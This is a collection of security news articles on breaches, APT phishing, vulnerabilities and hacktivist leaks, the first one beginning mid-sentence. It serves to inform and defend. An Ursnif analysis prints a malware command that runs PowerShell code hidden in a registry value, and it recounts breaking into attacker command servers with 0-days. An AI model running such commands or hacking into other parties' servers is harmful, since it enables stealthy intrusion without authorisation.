inadvertently expose email list contents. In practice, this affects a significant number of organizations” continues the post., When a G Suite admin creates a Groups mailing list for specific recipients, it configures a Web interface for the list, available to users at Google Group privacy settings for individuals can be adjusted on both a domain and a per-group basis. In affected organizations, the Groups visibility setting is available by searching “Groups Visibility” after logging into and it is configured to “Public on the Internet”, , To discover if an organization is affected, administrators can browse to the configuration page by logging into G Suite as an administrator and typing “Settings for Groups for Business” or simply using this direct link., “In almost all cases – unless you’re explicitly using the Google Groups web interface – this should be set to “Private”.” continues the post., “If publicly accessible, you may access your organization’s public listing at the following link: Administrators have to set as private the “Google Group” to protect internal information such as customer reviews, invoices payable, password recovery / reset e-mails, and more., It is important to highlight that Google doesn’t consider configuration issues as a vulnerability, experts recommend administrators to read the Google Groups documentation, set the sharing setting for “Outside this domain – access to groups” to “private”., Pierluigi Paganini, (Security Affairs – G Suite, Google Groups) |
4314_51833 | This summer 200 million Yahoo user accounts were offered for sale in a black market on the dark web., The company promptly started its investigation and last week confirmed the data breach, dated back at 2014 revealing that a nation-state actor has exposed at least 500 Million Yahoo user accounts., But, now it seems that the Yahoo data breach is much extended., The experts from the intelligence firm InfoArmor that investigated the incident claim the Yahoo data breach is the result of a cyber attack conducted by cyber criminals that later sold the Yahoo user accounts to an Eastern European nation-state actor., , “Yahoo was compromised in 2014 by a group of professional blackhats who were hired to compromise customer databases from a variety of different targeted organizations. Some of their initial targets, which occurred in 2012 and 2013, are linked directly with the recent large scale data breaches of social media networks and online-services such as MySpace, Tumblr and LinkedIn. Other well-known brands have been impacted by this group but the data stolen from them is not currently available for sale or validation in the underground, as of the writing of this report.” states a blog post published by InfoArmor., Experts from InfoArmor confirmed that the first hacker who offered for sale the huge trove of data is a threat actor nicknamed “tessa88,” he acted as a proxy between the actual bad actors., The presence of tessa88 as a mediator allowed the hackers who breached the company to mask their identity., “tessa88, registered on several underground communities, was the first to mention that Yahoo account credentials were available for sale. According to operative sources and long-term analysis, tessa88 acted as a proxy between the actual bad actors responsible for one of the largest hacks in history and potential buyers from various underground communities.” continues the analysis published by the company., In May 2016 tessa88 was contacted by another hacker known as “Peace_of_Mind” (PoM), who is very active in The Real Deal Market and The Hell black markets., Peace_of_Mind then acted as a partner with tessa88, but soon the two have had serious misunderstandings documented by InfoArmor., A recent update on the investigation indicates that the number of affected Yahoo user accounts compromised may be between 1 Billion and 3 Billion., According to former Yahoo executive who has spoken under a condition of anonymity, the Yahoo architecture aggregates all the user authentication data in a single database, a circumstance that suggests that the volume of compromised data is greater than revealed by the company., “I believe it to be bigger than what’s being reported,” the executive, who no longer works for the company but claims to be in frequent contact with employees still there, including those investigating the breach, told Business Insider. “How they came up with 500 is a mystery.” reported the Business Insider., “But the former Yahoo exec estimated the number of accounts that could have potentially been stolen could be anywhere between 1 billion and 3 billion.”, According to the source, all of Yahoo’s products share a central user database for its services, including Yahoo Mail, Finance, and Sports., At the time of the data breach (2014), there were roughly 700 million to 1 billion active users., The hackers compromised not only Yahoo account credentials, but also personal information included in their records such as dates of birth, phone numbers, hashed passwords, and unencrypted security answers., Why Did Yahoo report the 500 Million number?, The sad aspect of the story is that Yahoo could have protected its users with a password reset, but according to the New York Times, the CEO Marissa Mayer gave the firm different priorities penalizing the security., Let’s wait for a Yahoo!’s reply., Pierluigi Paganini, (Security Affairs – Yahoo Data Breach, cybercrime) |
4441_52911 | The Chinese APT Lotus Blossom, also known as Elise and Esile, is behind a new cyber espionage campaign that is trying to lure victims with fake invitations to Palo Alto Networks’ upcoming Cybersecurity Summit., With this social engineering trick the attackers are trying to trick users into installing a strain of malware that could be used to spy on victims’ machines., Security experts that analyzed the activity of the Lotus Blossom APT believe it is nation state actor that has been around since at least 2012., In June 2015, Trend Micro published a report on a targeted attack campaign of the group that hit organizations in various countries in the Southeast Asian region. The experts speculated the involvement of state-sponsored hackers due to the nature of the stolen information., “The Esile targeted attack campaign targeting various countries in the Southeast Asian region has been discussed in the media recently. This campaign – which was referred to by other researchers as Lotus Blossom – is believed to be the work of a nation-state actor due to the nature of the stolen information, which is more valuable to countries than either private companies or cybercriminals.” wrote Trend Micro., According to Trend Micro, other researchers have collected evidence that dates back to 2007 first activities of the group., Back to the present, the Lotus Blossom group launched a new espionage campaign using fake invitations to Palo Alto Networks’ Cybersecurity Summit that will be held in Jakarta, on November 3., “Actors related to the Operation Lotus Blossom campaign continue their attack campaigns in the Asia Pacific region. It appears that these threat actors have begun using Palo Alto Networks upcoming Cyber Security Summit hosted on November 3, 2016 in Jakarta, Indonesia as a lure to compromise targeted individuals.” states the blog post published by Palo Alto Networks. “The payload installed in attacks using this lure is a variant of the Emissary Trojan that we have analyzed in the past, which has direct links to threat actors associated with Operation Lotus Blossom.”, , The security experts from Palo Alto Networks observed that cyberspies used the trick to deliver a new version of the Emissary Trojan., The hackers powered a spear phishing campaign leveraging on emails with Word document attachments titled “FREE INVITATIONS CyberSecurity Summit.doc.” The document, which contains an image from a previous invitation, attempts to exploit the old Microsoft Office vulnerability tracked as CVE-2012-0158 to deliver the malicious payload., “As our readers and customers in Indonesia are likely recipients of this phishing e-mail, we want to release some key facts to clarify the situation., Palo Alto Networks has opted to stop sending out email invitations due to the ongoing spear phishing campaign and is inviting users in Indonesia to ignore any message receive these days regarding the event., The image was obtained from a screenshot of an older invitation that was properly edited. The researchers managed to revert the images to before they were cropped to extract information on the system used by the attackers., “The information in the screenshot and an analysis of the document’s timestamp suggested that the user was located in China.” continues the report., “The threat actor is running Windows localized for Chinese users, which suggests the actor’s primary language is Chinese. The ‘CH’ icon in the Windows tray shows that the built-in Windows input method editor (IME) is currently set to Chinese,” researchers explained. “Also, the screenshot shows a popular application in China called Sogou Pinyin, which is an IME that allows a user to type Chinese characters using Pinyin. Pinyin is critical to be able to type Chinese characters using a standard Latin alphabet keyboard, further suggesting the threat actor speaks Chinese.”, Pierluigi Paganini, (Security Affairs – cyber espionage, hacking) |
7110_75782 | , Indeed if none of searched AV were found on the target system Stage1 was acting as a simple downloader. The specific performed actions follow:, Stage1 was dropping and executing a brand new PE file named: rEOuvWkRP.exe (sha256: 92f59c431fbf79bf23cff65d0c4787d0b9e223493edc51a4bbd3c88a5b30b05c) using the bitsadmin.exe native Microsoft program. BitsAdmin.exe is a command-line tool that system admin can use to create download or upload jobs and monitor their progress over time. This technique has been widely used by Anunak APT during bank frauds in the past few years., The Stage2 analysis (huge step ahead here) brought me to an additional brand new Drop and Decrypt stager. Stage3 introduced additional layers of anti-reverse engineering. The following image shows the additional PE section within high entropy on it. It’s a significative indication of a Decrypter activity., , cmd.exe /C powershell invoke-expression(System.Text.Encoding::ASCII.GetString((get-itemproperty ‘HKCU:\Software\AppDataLow\Software\Microsoft\4CA108BF-3B6C-5EF4-2540-9F72297443C6’).Audibrkr)), , Now, I was able to download the entire Command and Control Source Code (php) and study it ! The study of this brand new C2 took me to the next level. First of all I was able to get access to the local database where I found a lot of infected IPs (the IPs which were communicating back to C2 level_1). The following image proves that the downloaded Command and Control system has Macedonian dialect (Cyrillic language) on it, according to Anunak APT report made by group-ib., The following image represents a simple screenshot of the database dump within Victim IPs (which are undisclosed for privacy reasons)., Additional investigations on database brought new connected IPs. Those IPs were querying the MySQL with administrative rights. At least athe dditional two layers of C2 were present. While the level_1 was weaponising the malware implant the level_2 was collecting information from victims. Thanks to the source code study has been possibile to found more 0Days to be used against C2 and in order to break into the C2 level_2 . Now I was able to see encrypted URLs coming from infected hosts. Important steps ahead are intentionally missing. Among many URLs the analyst was able to figure out a “test” connection from the Attacker and focus to decrypt such a connection. Fortunately ,everything needed was written on command and control source code. In the specific case ,the following function was fundamental to get to clear text !, , Once “in” a new need came: discovering the entire network by getting access to the VPS control panel. After some active steps directly on the attacker infrastructure, it was possible to get access to the entire VPS control panel. At this point it was clear the general infrastructure picture* and how to block the threat, not only for customers but for everybody !, , Summary:, ,
During the analyses was interesting to observe attacker was acquiring domains from an apparent “black market”where many actors where selling and buying “apparent compromised domains” (no evidence on this last sentence, only feeling). The system (following picture) looks like a trading platform within public API that third party systems can operate such as stock operators., Hope you enjoyed the reading., Further details, including the Indicators of compromise, are reported in the analysis published by Marco Ramilli on his blog., About the author: Marco Ramilli, Founder of Yoroi, I am a computer security scientist with an intensive hacking background. I do have a MD in computer engineering and a PhD on computer security from University of Bologna. During my PhD program I worked for US Government (@ National Institute of Standards and Technology, Security Division) where I did intensive researches in Malware evasion techniques and penetration testing of electronic voting systems., , I do have experience on security testing since I have been performing penetration testing on several US electronic voting systems. I’ve also been encharged of testing uVote voting system from the Italian Minister of homeland security. I met Palantir Technologies where I was introduced to the Intelligence Ecosystem. I decided to amplify my cyber security experiences by diving into SCADA security issues with some of the most biggest industrial aglomerates in Italy. I finally decided to found Yoroi: an innovative Managed Cyber Security Service Provider developing some of the most amazing cyber security defence center I’ve ever experienced ! Now I technically lead Yoroi defending our customers strongly believing in: Defence Belongs To Humans, Edited by Pierluigi Paganini, (Security Affairs – Ursniff, botnet) |
7093_75683 | A group of researchers from the University of Florida, Stony Brook University, and Samsung Research America, has conducted an interesting research on the set of AT commands that are currently supported on modern Android devices., The experts published a research paper titled “ATtention Spanned: Comprehensive Vulnerability Analysis of AT Commands Within the Android Ecosystem,” the findings of their study has been presented at the Usenix Security Symposium a few days ago., The research revealed that millions of mobile devices from eleven smartphone vendors are vulnerable to attacks carried out using AT commands., AT (ATtention) commands is a set of short text strings that can be combined to perform a series for operations on mobile devices, including dialing, hanging up, and changing the parameters of the connection., The AT commands can be transmitted via phone lines and control modems, Even if international telecommunications regulators have defined the list of AT commands that all smartphones must implement, many vendors have also added custom AT command sets that could be used to manage some specific features of the devices (i.e. camera control)., The experts analyzed over 2,000 Android firmware images from eleven Android OEMs (ASUS, Google, HTC, Huawei, Lenovo, LG, LineageOS, Motorola, Samsung, Sony, and ZTE) and discovered that the devices support over 3,500 different types of AT commands., The researchers shared their findings with all affected vendors. The team published a website containing the list of phone models and firmware versions that expose the AT interface., In some cases, using the custom AT commands it was possible to access very dangerous features implemented by the vendors. In many cases, the commands are not documented by vendors., The experts discovered that almost any devices accept AT commands via the phone’s USB interface. To abuse the AT commands, the attacker needs to have physical access to the device or use an evil component in a USB dock or a charger., “we systematically retrieve and extract 3,500 AT commands from over 2,000 Android smartphone firmware images across 11 vendors. We methodically test our corpus of AT commands against eight Android devices from four different vendors through their USB interface and characterize the powerful functionality exposed, including the ability to rewrite device firmware, bypass Android security mechanisms, exfiltrate sensitive device information, perform screen unlocks, and inject touch events solely through the use of AT commands.” reads the research paper., “We demonstrate that the AT command interface contains an alarming amount of unconstrained functionality and represents a broad attack surface on Android devices.”, Experts explained that AT commands could be abused by attackers to rewrite device firmware, bypass Android security mechanisms, exfiltrate sensitive device information, and perform other malicious activities., , Another disconcerting discovery made by the experts is that it is possible to submit AT commands even if the phone had entered a locked state., “In many cases, these commands are completely undocumented,” said Kevin Butler, an associate professor in the University of Florida Herbert Wertheim College of Engineering and a member of the research team, revealing that an OEM’s documentation doesn’t even mention their presence., The researchers published a Shell script that they used during for their tests, it allowed them to find strings containing ATcommands in the examined images., “AT commands have become an integral part of the Android ecosystem, yet the extent of their functionality is unclear and poorly documented.” concludes the experts., “We demonstrate that the AT command interface contains an alarming amount of unconstrained functionality and represents a broad attack surface on Android devices.”, Pierluigi Paganini, (Security Affairs – ATcommands, hacking) |
3760_47409 | The popular white hat hacker Tavis Ormandy from the Google Project Zero has discovered a critical exploitable flaw (CVE-2016-2208) in the Symantec antivirus system. The expert discovered an exploitable memory overflow vulnerability in the core Symantec Antivirus Engine which is used in most Symantec and Norton solutions., Kernel memory corruption in Symantec/Norton antivirus, CVE-2016-2208 (more patches soon). pic.twitter.com/F22xDIelSU, — Tavis Ormandy (@taviso) 17 maggio 2016, , “When parsing executables packed by an early version of aspack, a buffer overflow can occur in the core Symantec Antivirus Engine used in most Symantec and Norton branded Antivirus products.” wrote Ormandy “The problem occurs when section data is truncated, that is, when SizeOfRawData is greater than SizeOfImage. This is a remote code execution vulnerability. Because Symantec use a filter driver to intercept all system I/O, just emailing a file to a victim or sending them a link is enough to exploit it.”, The bug is remotely exploitable and affects the way the antivirus products handle executables compressed leveraging on an early version of the Aspack compression tool., Basically, the a buffer overflow is triggered when the Symantec Antivirus Engine parses truncated section data, so when SizeOfRawData is greater than SizeOfImage., , The bug is independent of the specific OS, on Windows systems it results in kernel memory corruption, this is worrisome., The issue also affects Linux, Mac and UNIX platforms resulting in a remote heap overflow as root in the Symantec or Norton process., The simplest way to exploit the bug in the Symantec Antivirus Engine is to trick victims into opening malicious email or visiting a specifically crafted website., Ormandy also shared a PoC exploit code that could be used to trigger the flaw and crash the Symantec Enterprise Endpoint service., “The obvious way to exploit this flaw is either via email or a web browser. The attached testcase contains the source code to build a PoC, which should BugCheck (i.e. BSOD) a system with Norton Antivirus installed, or crash Symantec Enterprise Endpoint service. The file testcase.txt is a prebuilt binary (note that file extension is irrelevant here). Just clicking download should be enough to trigger a kernel panic on a vulnerable system (!!!).” continues the expert., The post also includes an update shared by Symantec that explained that Live Update will fix the problem only in specific cases, for some products it will be required a maintenance patch build test, release which will take more time., “With the exception of test case 5, as I mentioned last night which seems like you may have zipped up the wrong case by mistake, we have confirmed your findings and have resolutions as well as doing additional reviews. We can easily update a version of one of our products, Norton Security for example, with an updated engine by the end of the week and if you would like can provide you with an beta release of that for your review. Unfortunately, not all products will be updated the same which of course has impacts on final release of updates and an associated Security Advisory. Some are quick and fairly simple updates, live update of course, but others require a maintenance patch build, test, release which takes a bit longer.”, Pierluigi Paganini, (Security Affairs – Symantec Antivirus Engine, hacking) |
2020_34527 | A bad news for the US military, the Army and Air Force Exchange Service (AAFES) confirms that, following a the data breach of the German telecom company SIGA Telecom and an AAFES contractor occurred on March 5, data related nearly 98,000 U.S. military personnel stationed in Europe may have been exposed., , Hackers accessed names, addresses, emails and technical information belonging to the military personnel stationed in Europe and held by an on-base cell phone concessionaire., “The Exchange learned on February 11 of a data breach of customer information held by concessionaire SIGA Telecom,” declared the AAFES spokesman Chris Ward said in an email Friday., According to the AAFES spokesman the breach hasn’t exposed financial information about the military personnel, and it seems that stolen data were not being used in fraudulent transactions., “There was no financial information released,” Ward said. “To date, there is no evidence of fraudulent use of the information.”, In response to the data breach, SIGA immediately took its systems offline. The company reported the incident to the German authorities to advantage the investigation and prevent further damages. The ongoing investigation is followed by AAFES officials too, that are providing all the necessary support to SIGA executives., This phase is critical to collect information that could help the investigators to identify the threat actor behind the attack, its technique and the motivation., As part of the incident response plan, AAFES urged SIGA to notify its customers, set up a telephone information line, develop a remediation plan and perform a security assessment within 90 days., “The investigation is ongoing.” Ward added., The German telecom company SIGA Telecom also notified nearly holders 27,500 active accounts of the incident., Pierluigi Paganini, (Security Affairs – AAFES, SIGA data breach) |
3299_43917 | Skype now hides users’ IP addresses, a measure implemented to protect them against attacks from online trolls., Skype announced the security feature this week in a blog post, the feature is enabled by default in the latest update provided by the company., Previously, it was quite easy to obtain the IP address of a Skype user when knowing the target’s Skype name, and target it. Online there are many websites, the so-called ‘resolvers,’ that can reveal the IP address of a Skype user., “What’s changed is that over the past year, a number of services have emerged to help snoops and ne’er-do-wells exploit this vulnerability to track and harass others online. For example, an online search for “skype resolver” returns dozens of results that point to services (of variable reliability) that allow users to look up the Internet address of any Skype user, just by supplying the target’s Skype account name.” wrote Brian Krebs in a blog post back 2013., , “Skype is fully committed to delivering as safe and secure of an experience as possible to our customers. We have recently introduced the ability to hide a Skype user’s IP address and we’ve set this as a default status in the latest versions of Skype.” states Skype., According to the company, the new security measure aims to protect online gamers, the experts at Skype observed that when people lose major online battles or matches use to launch a distributed denial of service attack knocking their rivals offline., Now If you want to hide your address make sure you are using the latest version of Skype., Pierluigi Paganini, (Security Affairs – Skype, privacy) |
2790_40325 | Adobe has released a new Flash Player update that fixes 23 critical vulnerabilities in the popular software., According to the security bulletin issued by Adobe, Version 18.0.0.231 and earlier of the Flash Player for Windows and Mac, Microsoft Edge and Internet Explorer 11 in Windows 10, and Internet Explorer 10 and 11, are affected by the flaws that in some cases can be exploited by attackers for remote code execution., As reported by Adobe, 18 of the 23 vulnerabilities in the Adobe Flash Player could lead to code execution. Attackers can exploit remaining vulnerabilities to bypass the same-origin-policy and some of them could result in information disclosure and memory leakage., Adobe is urging its users to update their software for the last release, version 19.0.0.185, users can download it from the Adobe official website, or via automatic update., , In some cases, Adobe provided the software update to add additional validation checks in order to make its Flash Player resilient to cyber attacks. This is the case of supplementary checks that have been added to reject malicious content from callback APIs., Most of the flaws fixed with this last update are credited to Google Project Zero team, to the Chinese hacking group Keen Team, to Tencent’s Xuanwu Lab, and to security experts at Alibaba Security Research Team., Overall in the last two months, Adobe had fixed Already blackberries than fifty security vulnerabilities, Last month Adobe released a security update to fix more than 30 flaws ., At the time I was writing, Adobe confirmed that it is not aware of any exploits triggering the flaw in the wild, but don’t waste your time, update your version to the latest one., Pierluigi Paganini, (Security Affairs – Adobe Flash Flayer, Security), |
434_11256 | CNET web site has published a news on a secret National Security Agency program named Perfect Citizen that is targeting on large-scale the control systems inside utilities, including power grid and gas pipeline controllers, with the purpose to discover security vulnerabilities., The program was revealed by new documents from EPIC (the Electronic Privacy Information Center), the purpose is the exploration of national utilities to discover security vulnerabilities that could be exploited to attack US infrastructure., , The Perfect Citizen documentation, according CNET, is composed of 190 pages and it has been obtained by EPIC in respect of Freedom of Information Act. Most of file is “classified top secret,” and has been deleted for obvious reasons., Perfect Citizen program was originally reported to be a program to develop a smart network of sensors (named Einstein) to detect cyber attacks against critical infrastructures in both the private and public sector. It is funded by the Comprehensive National Cybersecurity Initiative and thus far Raytheon, the major American defense contractor and industrial corporation, has received a contract for up to $91 million to establish the project., The program is very interesting and is the demonstration of the great interest on cyber security of US Government that fears cyber attacks and their consequences on Homeland Security, the program will go on at least until September 2014., The knowledge of control systems vulnerabilities could increase defense cyber capabilities of the country but in the same time gives to the US a further option for its military offensive in the cyberspace., The case of Stuxnet virus has for first time demonstrated to worldwide security community the real meaning of cyber weapon, concept until then much discussed but almost never used in military operations between states., But if Stuxnet was developed by US with support of Israel, it’s normal to expect that the analysis of the possible impact of a cyber attacks against a control system inside a facility isn’t a new concept, the Perfect Citizen program is just an new phase of a study initiated many years ago, probably during the Bush’s Government, as many experts argue., U.S. intelligence have warned for years both government and private sector about the possibility that an attacker, a group of terrorist or a group of foreign state-sponsored hackers, could exploit vulnerabilities inside control system of critical infrastructures., Despite the high level of attention of US government SCADA system inside critical infrastructures of the countries are still too vulnerable. Recently I published on The Hacker News web site an article titled “Hunting vulnerabilities in SCADA systems, we are still too vulnerable to cyber attacks” in which I describe how is simple to identify possible targets of a cyber attacks and how much simple is to retrieve also exploit designed to hit particular categories of control systems. Theoretically everyone today could acquire necessary knowledge to build its cyber weapon at home and attack a critical infrastructure., Offense and defense don’t proceed at same speed that this could cause serious problems, Gen. Martin Dempsey, the chairman of the Joint Chiefs of Staff, told a congressional committee in February:, “I know what we the U.S. can do and therefore I am extraordinarily concerned about the cyber capabilities of other nations.” If a nation gave such software to a fringe group, “the next thing you know could be into our electrical grid.”, The divulgation of information on cyber warfare operations by U.S. government is clear signal of the formalization of its effort in the fifth domain of warfare, several governments and agencies sources are spreading information on new ongoing projects characterized by high technological content. Recently I wrote on the solicitation of US intelligence for the definition of new exploiting methods mainly focused on mobile devices meanwhile NSA is public recruiting Control System Network Vulnerability Analyst to involve in “building proof-of concept exploits”., The order is to improve cyber capabilities and inform US citizens of government projects and risk related to a cyber attacks., The President Obama has confirmed US intent to invest in the development of cyber capabilities, according The Washington Post he secretly signed a directive in October that regulate offensive “cyber-operations” and Rules of Engagement in the cyberspace., The document “A Framework for Assessing and Improving the Security Posture of Industrial Control Systems (ICS)” published by NSA reiterates the need of protect Industrial Control Systems, following some a meaningful statements form the report:, “Much of the United States’ critical infrastructure is dependent on industries that employ networked ICS systems. Sabotage or disruption of these industries can have wide-ranging negative effects including loss of life, economic damage, property destruction, or environmental pollution. Our reliance on ICS networks makes them attractive targets for electronic attack. Because of this, it is important for industrial control system owners and operators to systematically assess the threat of electronic attack against their critical networked assets and to apply defensive technologies to reduce the threat. Cost-benefit analysis allows us to prioritize defensive efforts by identifying security improvements that provide the greatest benefit for a given cost. The “cost” is the expenditure required to implement and maintain the security improvement (financial, manpower, etc.) The “benefit” is the empirical savings gained by having the security improvement in place..” , In reality in the past the press already proposed news on the program, in 2010 The Wall Street Journal revealed the existence of Perfect Citizen in article, but the project in the years has concentrated the media attention and multiple charges to be a dangerous surveillance system deployed by government. It is described by critics as “Big Brother” and raised privacy concerns for government intervention in the private sector., CNET post proposed the declaration of an NSA spokeswoman about the project:, Perfect Citizen is “purely a vulnerabilities assessment and capabilities development contract” that “does not involve the monitoring of communications or the placement of sensors on utility company systems.”, Projects like this are vital for the protection of critical infrastructure of a country, while I understand the concerns of private industry for the interference of governments, the possible effects of a cyber attack on the nation are devastating. Prevention and the development of a proactive defense is an obligation for each country that really wants to ensure the safety of its facilities., As always, similar projects should involve all stakeholders, in some countries, such initiatives may lead to dangerous government interference in private industry from unforeseen consequences., Pierluigi Paganini |
609_14703 | A new series of cyber attacks from Iran hit US enterprises, the offensive has been revealed by American officials and private security experts., The attacks are classified as “potentially destructive” and targeted IT infrastructures of various sectors especially the energetic one, the expert has tracked them back to Iran but haven’t provided any evidence., American oil, gas and electricity companies are most targeted by the hackers but differently from the numerous attacks originated from China in the last months their purpose is the sabotage., Last year the energy giants Saudi Aramco, RasGas and the Qatari energy company were hit by destructive cyber attacks originated from Iran, DHS warns that respect these offensives the sophistication level of recent attacks appears superior demonstrating that Teheran has improved its hacking capabilities in the last months., The attackers seem to be interested to find and exploit vulnerabilities in industrial control of critical processing systems to cause serious damage, an US official revealed, “attack probes that suggest someone is looking at how to take control of these systems.”, Similar attacks are daily conducted against US infrastructures as revealed in more that one occasion by various alerts issued by DHS but according a government official they are principally originating from the Middle East area., “most everything we have seen is coming from the Middle East.” Official said., Government officials declared to The Wall Street Journal that the attacks were originated from Iran, of course the revelation is not enough to link them to the Government of Teheran despite the experts suspect state-sponsored operations. Let’s remind that access to Internet from Iran is controlled by the regime and it is quite impossible to elude the surveillance to conduct a series of attacks against a foreign state., US Government was considered by Iran an enemy to fight and in various occasions the Iranian authorities blamed US and Israel for the destructive cyber attacks based on Stuxnet virus against the Natanz nuclear enrichment plant., To respond to continuous attacks against its infrastructures from foreign governments the President Mahmud Ahmadinejad personally promoted the born of a high specialized cyber unit named Iran’s Islamic Revolutionary Guards Corps., , Immediate the official reply of the Iranian government, it denied that responsibility for the cyber attacks from Iran and in turn increased the allegations against the U.S. Government guilty of continuing attacks on facilities in the country., According The Times its editor received a letter referring a May 12 article that reported on the new attacks’ similar to the Saudi Aramco episode, Alireza Miryousefi, the head of the press office of the Iranian mission to the United Nations, wrote that, Iran “never engaged in such attacks against its Persian Gulf neighbors, with which Iran has maintained good neighborly relations.”, “Unfortunately, wrongful acts such as authorizing the 2010 Stuxnet attack against Iran have set a bad, and dangerous, precedent in breach of certain principles of international law,” he wrote., US ICS-Cert, an agency that monitors cyber attacks against industrial SCADA and ICS issued various warnings on the cyber threats expressing high concern for possible consequences of a successful attack., Former Defense Secretary Leon Panetta last year has alerted US government on the high risks of cyber attacks against U.S. critical infrastructures and network, sustaining that attackers are increasing their cyber capabilities., He defined the actual historical period as a “pre-9/11 moment,” referring to a possible series of cyber attacks against US. Panetta revealed that U.S. Intelligence community fears a combined threat of cyber terrorism and other attacks that could have effect similar to 9/11., The possible targets of a cyber attacks are multiple, from nuclear plants to telecommunications systems and the U.S., such as many other countries are still too vulnerable., “The attackers are plotting. Our systems will never be impenetrable, just like our physical defenses are not perfect. But more can be done to improve them. We need Congress, and we need all of you, to help in that effort.” said Panetta., Foreign governments are conducting numerous offensives also against other strategic sectors, US major banks for example have been targeted by numerous DDoS attacks in the recent months and according security experts it was always a series of cyber attacks from Iran., The New York Times reported in a post:, Government officials also say Iran was the source of a separate continuing campaign of attacks on American financial institutions that began last September and has since taken dozens of American banks intermittently offline, costing millions of dollars. But that attack was a less sophisticated “denial of service” effort., These attacks, their increased complexity and frequency urge the adoption of an efficient cyber security strategy shared by government, private enterprises and the population … cyber security is a share responsibity., Pierluigi Paganini, (Security Affairs – Cyber security), |
1684_30663 | On Saturday the collective of hackers behind the recent attack on the Sony Pictures Television, the GOP, leaked online sales and contract data stolen in the data breach. The corporate network of Sony Pictures was breached and taken offline exactly one week ago and now a 894MB archive containing thousands of files, covering a period between 2008 and 2012, was published by the GOP team., Variety website reported that employees at Sony have been warned not to connect their computers to the internal network, neither to check corporate email, in response to the attack. Sony Pictures has also switched off VPN and email access as part of its response procedure, it also requested the staff to disable WI-Fi on all mobile devices., Statements from alleged members of the GOP have suggested the presence of an insider access to the network, which supported the activity., Once the attack was publicly announced, GOP released two lists, reporting several documents, including password files, private key files; source code files (CPP), financial data, PII, inventory lists for hardware and other assets, network maps and outlines, production outlines and schedules., , Later, GOP released preview copies of several Sony movies, including Annie, Fury, and Still Alice, but the intent of the group is to disclose much more data., The last batch of files released during the weekend includes contracts between the Sony Pictures Television and several TV stations., “In the documents viewed by Salted Hash, the sales items were for airing rights to various shows such as Dr. Oz, Judge Hatchett, Outer Limits, and Stargate, SG-1. The documents also disclose details related to syndication rights for sitcoms such as King of Queens, Seinfeld, and Rules of Engagement.” states a blog post published on csoonline.com., The last lot of documents released by the GOP also include internal phone list and a detailed organizational chart, which include a huge quantity of information including cellular phone numbers of the staff., It’s clear that so detailed information on Sony Pictures staff and contracts could allow attackers to run further social engineering attacks or to organize a spear phishing campaign to gather other information from targeted employees., “In addition, one outdated document disclosed network usernames, passwords, and American Express account information (card data and Internet account details), something else that could be used in a targeted attack.” contunues CSOonline., On Saturday, a member of the GOP announced that the sales data was only beginning, announcing that the crew “will release all of the data…” which they claimed was under 100 TB or “tens of TB.”, Who is behind the GOP group?, It’s difficult to attribute the responsibility for the attack in this phase, anyway Sony Pictures has reportedly begun investigating possible involvement of hackers from North Korea. The news was reported by Re/code, which cited insider sources, the investigators speculate that North Korean hackers hit the Sony Pictures operating from the China., “The timing of the attack coincides with the imminent release of “The Interview,” a Sony film that depicts a CIA plot to assassinate North Korean leader Kim Jong-Un. The nation’s ever-belligerent state propaganda outlets have threatened “merciless retaliation” against the U.S. and other nations if the film is released.” states the Re/code portal., Stay Tuned … for further information!, Pierluigi Paganini, (Security Affairs – Sony Pictures, GOP) |
381_9720 | Last week I discussed with a friend on the risks related to attacks of the group Anonymous against strategic offices in Italy. In that occasion I didn’t excluded offensives of the group of hacktivists against institutions of my country predicting them in conjunction with the upcoming elections or financial maneuvers., Anonymous group in Italy appears less active respect other countries, and this has misled those who have been victims of their attacks. Too much Italian security professionals consider the group as a disorganized collective unable to cause serious problems to the political reality of the country., The Italian Anonymous collective has claimed to have obtained 1.35 Gigabyte from the Italian State Police, they have published the documents using various channels such as a TOR mirror for the leak and par-anoia.net portal. The anon-news.blogspot.de reports that the full archive contains 3500 private documents. The group has started a campaign named #AntiSecITA, according Reuters Italia the hacktivists have published on internet a few thousand documents that say they have stolen exploiting servers and web portals managed by state police. The documents report persons, events, personal data such as mobile phone numbers and email, pay slips and also soft-porn pictures. Anonymous announced the operation posting the following message on Italian Anonymous Blogs:, “For weeks, we love to browse in your server, in your e-mail address, your portals, documents, records and much more., We are in possession of a large amount of material, eg documents on interception systems, spreadsheets, bugs latest generation of covert activities, files related to the NOTAV demonstrators and dissidents; various circulars but also numerous e-mails, some of which demonstrate your dishonesty (eg a communication in which you learn how to take possession of the firearm seized a foreign man without committing the crime of receiving stolen goods)., The security level of your system, contrary to what we thought was really poor, and we take the opportunity to take our revenge. Is there any problem, Officer?”, The hackers posted also in their official site:, “Obviously the data is in Italian, thus limited information is available at this time. But several Italian researchers are busy with assessing the material already.”, The leaked documents contains details about wiretaps from Telcom Italia and confidential technical information about interception devices., Another curious fact is the choice for Italy’s press. Why use Italian insted English?, Although these gentlemen have shown effective computer skills, they preferred to communicate to their followers in Italian language, maybe due to the will of the collective to manifest its presence on the national territory and its strength, the intent is probably attract the largest number of followers to be involved in future operations., I believe that the group is really thinking about something else, the act in question is demonstrative in my opinion, I think that the viewfinder is poinetd on other important and controversial national entities., Another reflection on language, Italian cell of Anonymous clearly has a loose connection with the collective center, you probably self constituted and operates in total autonomy., In the past Anonymous Italy has already attacked the state police stealing Italian anti-crime agency files on different international organizations, more than 8 gigabytes of information, stored on the server of the National Center for Computer Crime Protection of Critical Infrastructures (CNAIPIC)., The Reuters reports, “A few days earlier, police communications had announced, in turn, have identified “the promoter and some important representatives of Italian cell” group. The leader, according to investigators, was an activist living in Ticino known as “phre.” Along with him, the authorities had reported another 14 people, including six children.”, I understand that the investigation should be covered by the strictest of confidence but we run the risk that everything will be forgotten, accidentally or intentionally. In Italy more than one occasion won the silent on the need to ascertain objective responsibilities., The incident is worrisome, a free citizen today may find its stolen interceptions files and this could fuel the climate of tension that exists in the country. Organs such as the police should have, in my opinion, publicly apologize for the incident and prosecute those who are attacking the security of citizens., From a careful reading of the last announcement posted on par-anoia.net once again written in Italian language I perceive that they are young, probably of university culture, active in the protection of the environment and angry with the police for events such as The Group of Eight (G8) forum occurred years ago and NoTAV question., The battles referred by the group are local, far from the logic of the collective of Anonymous in this moment. The use of Italian preclude the divulgation on large scale of the arguments., The police is perceived as an enemy to fight, and I think that this effect must work the police, try to listen to what they say these activists.
I live in Italy, the country suffers significantly corruption and is easy to understand how these guys can consider getting justice in this way, but the problems are elsewhere, much should be reviewed in the political class., How can an italian citizen be sure that his private information, managed by law enforcement during an investigation, were properly protected?, Is really easy hack the servers of state police and why?
